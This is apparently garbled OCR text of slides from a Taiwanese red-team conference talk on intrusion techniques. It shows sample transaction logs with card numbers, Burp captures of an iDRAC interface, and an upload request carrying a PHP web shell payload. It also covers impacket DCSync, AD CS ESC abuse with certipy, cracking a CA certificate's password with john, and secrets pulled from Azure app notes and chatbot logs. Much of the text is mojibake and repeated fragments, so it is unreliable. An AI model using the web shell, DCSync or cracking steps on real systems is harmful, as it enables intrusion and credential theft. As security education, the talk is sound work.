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[2025-03-10 10:15:23] TRANSACTION_ID: 20250310101523001

D > — =y USER_ID: U1001 | AMOUNT: $120.50 | CREDIT_CARD:
I:II:I— % —E ﬂ{%? *%&%U 4532-5642-1234-9876 | STATUS: SUCCESS
INYAA |:|_\_,_ ; [2025-03-10 10:17:45] TRANSACTION_ID: 20250310101745002
USER_ID: U1005 | AMOUNT: $89.90 | CREDIT_CARD:
5243-8765-2345-6789 | STATUS: SUCCESS
[2025-03-10 10:20:12] TRANSACTION_ID: 20250310102012003
USER_ID: U1011 | AMOUNT: $45.00 | CREDIT_CARD:
6011-3456-7890-1234 | STATUS: FAILED

[2025-03-10 10:22:33] TRANSACTION_ID: 20250310102233004

0 o Qe USER_ID: U1023 | AMOUNT: $230.75 | CREDIT_CARD:
® ,L\,\%{Eﬁﬁ E,“I E’]'fjﬂﬁ 3712-345678-90123 | STATUS: SUCCESS
[2025-03-10 10:25:10] TRANSACTION ID: 20250310102510005
JRE USER_ID: U1034 | AMOUNT: $18.99 | CREDIT_CARD:
?ﬂﬁquﬁ}ﬂz (QD%F_II:) 4916-7890-1234-5678 | STATUS: SUCCESS
[2025-03-10 10:28:57] TRANSACTION ID: 20250310102857006

USER_ID: U1045 | AMOUNT: $350.00 | CREDIT_CARD:

° #% EIJ}E1ﬂH|§ == %&I%B%fﬁ% E/]I_‘_I;EQ-‘- 5321-6789-0123-4567 . STATUS: FAILED
X =] O E‘ﬁ X Ny i= J01EnR [2025-03-10 10:31:42] TRANSACTION_ID: 20250310103142007

USER_ID: Ul052 | AMOUNT: $64.50 | CREDIT_CARD:

- O | 4556-1234-5678-9012 | STATUS: SUCCESS
ﬁ?_la? ) 15%"5’5};% Get : [2025-03-10 10:33:26] TRANSACTION ID: 20250310103326008
USER_ID: U1067 | AMOUNT: $99.99 | CREDT_CARD:
6011-7890-4567-8901 | STATUS: SUCCESS
[2025-03-10 10:37:18] TRANSACTION ID: 20250310103718009
USER_ID: U1078 | AMOUNT: $150.00 | CREDIT CARD:
3782-901234-56789 | STATUS: SUCCESS
[2025-03-10 10:40:05] TRANSACTION ID: 20250310104005010
USER_ID: U1090 | AMOUNT: $75.25 | CREDIT CARD:
5412-6789-0123-4567 | STATUS: SUCCESS
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[2025-03-10 10:15:23] TRANSACTION ID: 20250310101523001

USER_ID: U1001 | AMOUNT: $120.50 | CREDIT CARD:

4532-5642-1234-9876 | STATUS: SUCCESS

[2025-03-10 10:17:45] TRANSACTION ID: 20250310101745002 |

USER_ID: U1005 | AMOUNT: $89.90 | CREDIT CARD:

5243-8765-2345-6789 | STATUS: SUCCESS
n () A () ) N AR N al) n () ) 102012@03

102233004

3712-345678-90123 | STATUS: SUCCESS
[2025-03-10 10:25:10] TRANSACTION_ID: 20250310102510005 |
USER_ID: Ul034 | AMOUNT: $18.99 | CREDIT_CARD:
4916-7890-1234-5678 STATUS: SUCCESS

[2025-03-10 10:28:57] TRANSACTION_ID: 20250310102857006 |
USER_ID: U1045 | AMOUNT: $350.00 | CREDIT_CARD:
5321-6789-0123-4567 STATUS: FAILED

[2025-03-10 10:31:42] TRANSACTION_ID: 20250310103142007 |
USER_ID: Ul052 | AMOUNT: $64.50 | CREDIT_CARD:
4556-1234-5678-9012 STATUS: SUCCESS

[2025-03-10 10:33:26] TRANSACTION_ID: 20250310103326008 |
USER_ID: Ul067 | AMOUNT: $99.99 | CREDT_CARD:
6011-7890-4567-8901 STATUS: SUCCESS

[2025-03-10 10:37:18] TRANSACTION_ID: 20250310103718009 |
USER_ID: Ul078 | AMOUNT: $150.00 | CREDIT_CARD:
3782-901234-56789 | STATUS: SUCCESS

[2025-03-10 10:40:05] TRANSACTION_ID: 20250310104005010 |
USER_ID: Ul090 | AMOUNT: $75.25 | CREDIT_CARD:
5412-6789-0123-4567 STATUS: SUCCESS
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— RT] 2025-02 &4 B R A E]
= DEVCORE || % - 48 /
HERSE : 15v8CdwevpcEj3 P S Q
Q, ) "2 Sitemap = FBHEAL ~ C m GET https://10.46.0.58/session
@jerry
e M @ = |
Status Method 75 MIME Type =
eRE y i yP ® 2025/02/12 11:22:03 (~114ms)
- N https //10.44.132.190
BAl - MSSQL (BN B A S FRIZ R ® ) GET https://10.46.0.58/Clarity.js <? (91967616 H 5fba8d77-49ed-4aeb-96e1-5eb94cc050b9
11 1. . » . . .
> Le https {/10144132193 8006 ® ) GET  https://10.46.0.58/images/masthead_left.png & [ad83eel9 RiZ#8%: UUID # | Author # | Host # | Path # | Request Time
= Y+ Proxn
. https://10.44.132.219 ® FII) GET  https://10.46.0.58/locale/locale_en.json ¢* (dc635f35]  Request 0
B8 : MinlO S3
7~ | ® [P0 GET  https://10.46.0.58/images/popup_masthead_right.ong «? |2d8f6541 e |
> O https://10.46.0.12 GET /session? | ,
® I GET https://10.46.0.58/functions.js <? [63957b7f aimGetProp=hostname,gui_str_title_bar, OE
> O https://10.46.0.33 MHostName, fwWersion,sysDesc HTTP/1.1
® @EI) GET  https://10.46.0.58/functions.js :* (88d02434 Host: 10.46.0.58
v O https://10.46.0.58 X—-Prototype-Version: 1.6.1
O j5:8) : iDrac8 e EI) GET https://10.46.0.58/session & | 49e55278 Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;qg=0.9
v 0 cgi-bin ® FII) GET  https://10.46.0.58/css/custom.css &* (8a382f34 Sec-Ch-Ua: "Not A(Brand";v="8",
_ "Chromium";v="132"
B 8 login e d18903df Sec—-Ch-Ua-Mobile: 70
. X—Requested-With: XMLHttpRequest
> @ css ] c695aff1 User-Agent: Mozilla/5.0 (X11; Linux
2. .
B data [] 8d0cab68
Response 0
1 8 functions.js ® P10 GET  https://10.46.0.58/images/Ttl_2_iDRAC8_Base_ML.p...? | cf282899
> B imaaqes : 46.0. F -+ (208a7fe5 HTTP/1.1 200 OK
g ® I GET https://10.46.0.58/locale/locale_en.json a08a7fe Il e
o > 88 locale GET httos://10.46.0.58/ : -+ (5fba8d77 Keep-Alive: timeout=60, max=197
n s ED PS Session ° Content-Type: application/json
8 login.html ® EI) GET  https://10.46.0.58/session ¢ (dcobodze Date: Tue, 11 Feb 2025 19:19:35 GMT
|€\ Cache-Control: no-cache, no-store, max-
2 B session @ FL0) GET  https://10.46.0.58/css/scrolling.css &* [3822342b age=0
Content-Length: 201
> L https://10.46.0.127:5900 ® FII) GET  https://10.46.0.58/images/tcontainer_top_gradient.png &* |8b332d3d Last-Modified: Wed Feb 12 ©3:19:35 2025
Connection: Keep-Alive
https//10460199 - Pragma: no-cache
pevcore > Le T e o e | .
J5A : Gitlab ZRIMIE : https://10.46.0.58 = ZEREREIN Expires: 0
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[RT] 2025-02 &5z B R/~ S

HZEM 5% : 15v8CdwevpcEj3 ELWR - | 7S Q

=== E—
i“ Q Gy ™3 Sitemap AT - C
# REDIAR v (FHE Status Method A MIME Type =
» https://10.44.132.190
w > MSSQL (BIRERA ST ® @) GET  https://10.46.0.58/Clarity.js ¢ (91967616
‘ > Le bttpé:l/{TQ;4:%".132.193:8006 ® I GET https://10.46.0.58/images/masthead_left.png ¢ | ad83eel9
‘ , . https://10.44.132.219 &1 ® ) GET  https://10.46.0.58/locale/locale_en.json «* | dc635f35

=8 MinlO S3 ” ® m GET https://10.46.0.58/images/popup_masthead_right.png «? |2d8f6541
1 > 0 https://10.46.0.12 1 | - .
’> ) hos10.46.0.33 | ® I GET https://10.46.0.58/functions.js ¢ | 63957b7f
| PRI I @ @) GET  https://10.46.0.58/functions.js - (88402434
v O https://10.46.0.58 |
| Rl - iDrac8 1 e EI) GET https://10.46.0.58/session :* [49e55278
E v D cgi-bin “ e https://10.46.0.58/css/custom.css & [ 8a382f34
| B login S item a https://10.46.0.58/login.html ¢? [ d18903df
> B css p https://10.46.0.58/login.html &? | c695affl
\} 8 data | & @LL) POST https://10.46.0.58/data «* | 8d0cab68

8 functions.js [ ® @) GET  https://10.46.0.58/images/Ttl_2_iDRAC8_Base_ML.p...+? |cf282899
‘ > @ images , ® PII) GET  https://10.46.0.58/locale/locale_en.json «* |a08a7fe5
| > B8 |ocale ‘H ® (L) GET  https://10.46.0.58/session &? [5fba8d77
i 8 login.html i ® P GET  https://10.46.0.58/session ¢ (dcob9d2e
‘ B session ' ® (L) GET  https://10.46.0.58/css/scrolling.css «7 | 3822342b
{| > O https://10.46.0.127:5900 ® P10 GET  https://10.46.0.58/images/tcontainer_top_gradient.png «* | 8b332d3d
‘l , . https://10.46.0.199 —

8 © Gitlab SBIAIE © https://10.46.0.58 = RER

LJ_

m GET https://10.46.0.58/session

e jerry

© 2025/02/12 11:22:03 (~114ms)

H 5fba8d77-49ed-4aeb-96e1-5eb94cc050b9

RIFESR: UUID »  Author »  Host #  Path /  Request Time

Request 0

GET /session?
aimGetProp=hostname,qui_str_title_bar,OE
MHostName, fwVersion, sysDesc HTTP/1.1
Host: 10.46.0.58
X—-Prototype-Version: 1.6.1
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Not A(Brand";v="8",
"Chromium";v="132"

Sec-Ch-Ua-Mob1ile: 70
X—-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (X11; Linux

Response

HTTP/1.1 200 OK

X_Language: en-US,en;q0=0.9
Keep—Alive: timeout=60, max=197
Content-Type: application/json
Date: Tue, 11 Feb 2025 19:19:35 GMT
Cache-Control: no-cache, no-store,
age=0

Content-Length: 201

Last-Modified: Wed Feb 12 03:19:35
Connection: Keep-Alive

Pragma: no-cache

Expires: 0

max-—

2025




[RT] 2025-02 &5z B R/~ S

| Connection: Keep-Alive
https://10.46.0.199 | Pragma: no-cache

538 : Gitlab gﬁ{g% : https://10.46.0.58 | — ;if*;{it Expires: 0

= DEVCORE % - 48 /
HEMIE © 15v8CdwevpcEj3 FELES e Q
@) (am - O re e L N - L) GET https://10 46058/se?sion - | |
Q ® ‘ " Sitemap  FRARML - C AR |
i REPIAES v ® jory |
R Status Method #5 MIME Type = |
- fERE y i yP ® 2025/02/12 11:22:03 (~114ms) |
o> , = https://10.44.132.190 [
B8 : MSSQL (H4BARER A5 2 41) ® FII) GET  https://10.46.0.58/Clarity.js <? (91967616 H# 5fba8d77-49ed-4aeb-96e1-5eb94cc050b9
> 1 ?}Tapszg:o?.fjjSQJ9318006 | @ @I GET  hitps://10.46.0.58/images/masthead_left.png c* (ads3ee1y) TR UUID 2 Author 2 Host 7 Path # Request“me
IBIRY - 7
, = https://10.44.132.219 ® I GET https://10.46.0.58/locale/locale_en.json ¢* | dc635f35 Request ‘
&8 : MinlO S3
7~ : : ® [P0 GET  https://10.46.0.58/images/popup_masthead_right.ong «? |2d8f6541 e .
> O https://10.46.0.12 GET /session: . |
® ) GET https://10.46.0.58/functions.js < [63957b7F aimGetProp=hostname,qui_str_title_bar,OE
> O https://10.46.0.33 MHostName, fwWVersion,sysDesc HTTP/1.1
Host: 10.46.0.58
. - https/10.46.0.58 oy ol — 5 7\ =t X-Prototype-Version: 1.6.1
Or =38 : iDrac8 S\ | | - S Sec-Ch-Ua-Platform: "Linux"
I’ILE y A AN n ﬂg / Accept-Language: en-US,en;q=0.9
v O cgi-bin Sec-Ch-Ua: "Not A(Brand";v="8",
| "Chromium":v="132"
B 8 login @ ¢ GET https://10.46.0.58/login.html ¢ | d18903df Sec-Ch-Ua-Mobile: 70
| X—Requested-With: XMLHttpRequest
> B css . © @) GET  https://10.46.0.58/login.html &? [c695affl User-Agent: Mozilla/5.0 (X11; Linux
2. o
8 data & @II) POST https://10.46.0.58/data &* [ 8d0cab68
Response
1 8 functions.js - @ EII) GET  https://10.46.0.58/images/Ttl_2_iDRAC8_Base_ML.p... & [ cf282899
> B images : .46.0. i <? | ag8a7fe5 HTTP/1.1 200 OK
g ® D GET https://10.46.0.58/locale/locale_en.json a08a7fe Il e
- | : . Keep-Alive: timeout=60, max=197
i > ® locale * GET  https://10.46.0.58/ ¢ [5fbadd77 P 0%y A
. l e m PS Session ° Content-Type: application/json
8 login.html e PII) GET  https://10.46.0.58/session &* [dcobad2e Date: Tue, 11 Feb 2025 19:19:35 GMT
|€\ | Cache-Control: no-cache, no-store, max-
2 B session @ FL0) GET  https://10.46.0.58/css/scrolling.css & (38223420 age=0
Content-Length: 201
> L https://10.46.0.127:5900 ( ® FII) GET  https://10.46.0.58/images/tcontainer_top_gradient.png &* |8b332d3d Last-Modified: Wed Feb 12 ©3:19:35 2025
|
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v FIRERRR
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v HER Al BEEERAR
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| E] % https://devco.re/upload/temp/test/15v8CdwcvpcEj3.mp3 A [
|
‘. kyle BPREZE 2025/03/13 21:09:39 v |
|
1
| + ‘ xavier ¥TZIEE | md5 ||sha256} 2025/03/13 21:01:19 A i\
‘ LI \
’ R \
https://devco.re/upload/temp/test/4bc83e2af5d1.mp3 [ w
EERA : V
AlERLE ”
fEEME "
‘\

J 7aabac1829b108b5d08ddadce52fd89e |
l sha256 | 87a2d9367e79471d5922d7109e9732937bea6324e0b39c8c8cb5773b0d65F74
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v FIREH AR

v HEIAISEER

1 EE.LI.LI
e v =l

| v BEUEEE (B

2025/03/13 21:09:39
2025/03/13 21:08:17
2025/03/13 21:08:14
2025/03/13 21:01:19

2025/03/06 1
2025/03/06 1

2025/01/31 20:34:56
2025/01/31 20:34:56

mit s EBEEERBRETS

2025/01/07 18:07:32
2024/12/23 01:33:53

==
Ca

' v EEINEEEREERBLE ST

| TS S =

EUHER ~ BET / Q

FIRERRSA
O BEBIEEIS v

E2R 2025/03/13 21:15:43
4REEE : otis

MIFEE 10 BRREFERE
fEx 10 MRS =~ ERAE =H|

] Y

D % https://devco.re/upload/class/f4/a79f32b1f4e8dd9c/homework/9¢c/9¢c8b7d3e1f27a5e2/15v8CdwcvpcEj3.txt

[:I % https://devco.re/upload/temp/test/15v8CdwcvpcEj3.mp3

I . kyle ;BFR1E3 2025/03/13 21:09:39

+ . xavier &5 (mds | sha256 | 2025/03/13 21:01:19

Z EHE SR F RNV

md5\! 7aabac1829b108b5d08ddadce52fd89e
\sha256j 87a2d9367e79471d5922d71109e9132937bea6324e0b39c8c8ch5773b0d65174
et

J S—
it
FARNY

gE -

ow) te understand how tu




DEVCORE ‘ [RT] 2025-02 & HIRR B FR/AS]

HZEMK5E : 15v8CdwevpcEj3 ERER - 58 /A A .
TH X FIRERI RN
T — — ——y mEEIREE v
v R | RS
»a o | 2R 2025/03/13 21:15:43
[ | @ ExHE5EE 1 #REEE : ofis
] ® BEEREEES o} WiERE 10 B REBERE
¥ 0 e mrmmws i
‘ BRI | ME 10 % e A
~ L] @ REHE ',4 o
ll )
; WA 13 EEEEE
ey T
v '|‘\ o ﬁ 9c/9¢c8b7d3e1f27a5e2/15v8CdwcvpcEj3.ixt v
v FIREFIRA
O 2025/03/13 21:09:39 [ ] @ https://devco.re/upload/temp/test/15v8CdwcvpcEj3.mp3 A
2025/03/13 21:08:17 .
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% Burp Suite Professional v2025.3.15

Target =% Proxy %> Repeater @ Intruder = Q Scanner

-] Request

POST /upload.php HTTP/1.1

Content-Type: multipart/form-data

—=X

Content-Disposition: form-data; name="uploadedFile"; filename="§KE =148 %il*]"
Content-Type: application/octet-stream

<?php system($_GET['cmd']); ?>
——X——

(> Response
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o HERT AR5
o NMERREABKWIEA » A
o EIMIEREABITHEZIKE
o HADiEAVRMT
o MIIGARMBENNE  E#RIFEERGERERETEERK
e Tunnel THELZRNE - (FIRLABERBINNE)

%a hy B Bz AR PELN - sqlmap fwiE
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{5140 impacket TEINE DE\V/CORE

o ¥t Windows Server 2019 / 2016 {&FH secretsdump.py 4T DCSync
e {FH secretsdump.py #1T DCSync BHEZFiEhL DC 52l 2 Y
e smbclient.py #8/~EYH &k4 R Pl 852 A £THY

A mpacket

BY FORTRA.




impacket / impacket /[ examples / smbclient.py

| Code | Blame @ Executable File - 666 lines (590 loc) - 22.3 KB

387 def do_ls(self, wildcard, display = True):
404 if display is True:
405 if self.outputfile:
*++ 406 of.write("scrw—-rw—-rw— %10d %s %s" % (
407 'd' if f.is _directory() > 0 else '-', f.get_filesize(), time.ctime(float(f.get_mtime_epoch())),
408 f.get_longname()) + "\n")
409
410 print("scrw-rw-rw— %10d %s %s" % (
411 'd" 1f f.1s _directory() > 0 else '-', f.get filesize(), time.ctime(float(f.get_mtime_epoch())),
412 f.get_longname()))
413 self.completion.append((f.get_longname(), f.is directory()))
414 if self.outputfile:
415 of.close()

416
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o FRHEPHAIKAT » ANEEEIINFRE > FMEIR
o THIFTHEAERESST ]2 > {5l
o Z|EZIHEE) Captive Portal

e Burp Collaborator ¥Ezx =

3
%m
2t
I}

Lumidl

Project > Collaborator Manage global settings :

(?) Burp Collaborator server User setting  Project setting

‘{:C:)} Burp Collaborator is an external service that Burp can use to help discover many kinds of vulnerabilities. You can use the
default Collaborator server provided by PortSwigger, or deploy your own instance. You should read the full documentation
for this feature and decide which option is most appropriate for you.

Override options for this project only

Use the default Collaborator server

® Don't use Burp Collaborator

Use a private Collaborator server:

Server location:

Polling location (optional):






FRATaf A2
FRmrasf + Bl enR

SSSSSSSS



DE\/CORE

4

AT PR ASER

y 4



2017 ZSITEEF{HAE

(Initial Access)

DEVCORE



Bl K Initial Access i ELERY DEV/CORE

</ EA
12%
FTEEELE -
o {EF E.%I]:Eéﬂjtﬁ: 21%
25%

T YR TEFR

ELAth 1 1 %

23 %

N
==Y
8%




BIFAK Initial Access jf&;a AR DE\/CORE

/IR EA
12%

= EE,TJ:L- -

25%

i “ZEMEREIRK
v 11%

= V=
8%




2021 &£
IMARB BIKFEAL

1. JMEEAARIA SRR (ZE A ~ ALESR)
2. WAF 380K - [EAREIR RREERANE
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o WAF 48115 GE DE\/CORE

e 2024 DEVCORE CONFERENCE MEmif&E : 2 WAF BifY{R
o MARIBImENTA—2EE® WAF
o HEEIMLZIEM : double boundary & encoding
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& WAF 2Ei81%15 s DE\V/CORE

e 2024 DEVCORE CONFERENCE !&M:EE : 8 WAF BIEI{R]

o MAHRBIEImAEMT A —EUERE WAF
o HHEIMHLZIES : double boundary & encoding
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o BHiJ®E)E : Machine Key @&

* 14% wmmaimes - 2025 #2538 2 15EmE

o HIRAZR : EEM ASP.NET IZ&#® (Machine Key)

o [E P : gEEEIEFHER R REMIVERES

o BRINERRE : GitHub ~ FHEERME ZINERESR

o R[A : FEMIIINEEERZSETE Machine Key BIEEFIFZ2 (A5 S A= hix
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. BROEBENES ST  REEABEEERE
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e DEVCORE FAZE = # s RmENANEERE L
e 58 RIEIBEYFR (TVN)
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o 2024 IR FZ AR ERIIE R ESRNS
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& Linked Server INE2E@H GEH

o ZIIRFZMBAERINERERS
o S{alirZFHVEERIZBREEIRAALEXER
¢ %
o IRIEMIIERS : ARERF—oERRFRY
¢ BEMIZE | EEHEFERIIZRENIRREEI
o FHNERZ : AR B S HEEMumENINE
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DCSync Pass—the—Hash

Unconstrained Delegation , ,
Constrained Delegation

Kerberoasting Silver Ticket
AS—REP Roasting

Pass—the-Ticket

Golden Ticket
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e AD CS WNEH =9 DEV/CORE

e AD CS (Active Directory Certificate Services) /&R:5{aiRzS
e NA/REEEIEMEERARLE (PKI 223)
o« BE B pivaeEINE A
o HfolpkAFNINEREERS ?
s RZIRBIEMERTELRK » WERMAESEIR/EE
o FHRINHIAZRERN » WERNEeiFEFEHEE
o 2022 FHEHIREIERERBERRSBLEEE
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SH S TEEES
BAR AD » {RIBBRZ T 2

RERE Vtim

RAREERDBRAE]
vtim@devco.re

2024.03 = EHBJ ESC1+ESC4 ~ ESC8 » ESC11 ~ ESC3
1&%1&5@21‘@@ . certipy find -stdout -u 'user@corp.local’

(New) 2024.11 ESC15 EKUwu CVE-2024-49019

328 Port 135 B9 ESC11
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HHEE TRMEME
BIE AD » {RIBHRZ T HE 2

HERE V
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2024.03 = ERHRJ ESC1-~ESC4 + ESC8 * ESC11 *~ ESC3

1%%1&5@2*@_ . certipy find

- BANEEPIN - REARER

DEVCORE ~ ESC8 + ESC3
28 Port 135 By ESC11
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o RRFBFFAIBINTE DC SMB 1R B % > ARG S35 ZMS

root@kali 1in ~
# pfx2john corp-CAQ1-CA.pl2 > hash
root@kali 1n ~

# john --wordlist=/usr/share/wordlists/rockyou.txt hash
Using default input encoding: UTF-8

Loaded 1 password hash (pfx, (.pfx, .pl2) [PKCS#12 PBE (SHA1l/SHAZ2) 128/128 SSEZ2 4x])
Cost 1 (1teration count) 1s 2000 for all loaded hashes

Cost 2 (mac-type [1:SHA1l 224:SHA224 256:SHA256 384:SHA384 512:SHA512]) 1s 1 for all loaded hashes
Will run 4 OpenMP threads

T T

Press 'c or Ctrl-C to abort, almost any other key for status

= = _——— e —— = ——

.1qaz@wsx e (corp-CA@1-CA.p12

———— —— " — — e _

~._h

1g 0:00:00:00 DONE (2025-01-06 20:42) 3. 225g/s 6/771bp/s 6/7716c/s 67716C/s michael!..september?
Use the "--show"” option to display all of the cracked passwords reliably
Session completed.
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EREEDA\YIHHEE (Notes) F FER

},
"1sDeviceOnlyAuthSupported”: null,

"1sFallbackPublicClient": false,
"keyCredentials": [1,
"nativeAuthenticationApisEnabled": null,
"notes”: "I am an example\nsecret: bKb73mN8xAlU3zbR_dmg\nAPI permission: ID_9f7831\n",
"optionalClaims": {

"accessToken": [],

"idToken": [

{

"additionalProperties": [1,
"essential': false,
""name" : "login_hint",l
'source”™: null
} GET https://graph.microsoft.com/v1.0/applications

]
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Chatbot HES#EH 8 T LERIERE

=

grep -rin 'secret' ~/server/history/chat_htistory

{

"role'": "user",

"content™: "CLIENT_ID = \"7fe49f15-53a4-4ed9-9457-460ff2db9Fe88\"\nREFRESH_TOKEN = \"
0.ABCD1234-xyZsomeREFRESHtokenValueExamp le\n
A11dGDOLb_pCkVCC99xA6HVTA2AB7nYm120pEWtHpTZzIvISFGNOhu2xXQ12mNR1idONJVvR7aZb*x\n
B1Y9ZLpgQaPTOx9IvOF la7b8N2_CvGzdhScw3n\"\nCLIENT_SECRET = \"64ael190-10ff-44ab—-8724-9999e1e408Ab\"
\n\n# CLIENT_ID = \"b19a4573-bc32-471t1-85c/-5DD999999999\"\n# REFRESH_IOKEN = \"

0. XXXX—xxxXExamp leForAnotherREFRESH888\"\n# CLIENT_SECRET = \"33333333-1234-4abc-12ab-XYZXYZXYZXYZ
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Answers
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Red Team in Taiwan
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o (REIENZEMMRASEEE  HSEHFERAMR -
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o MARIZImAEIT A —ENEE® WAF
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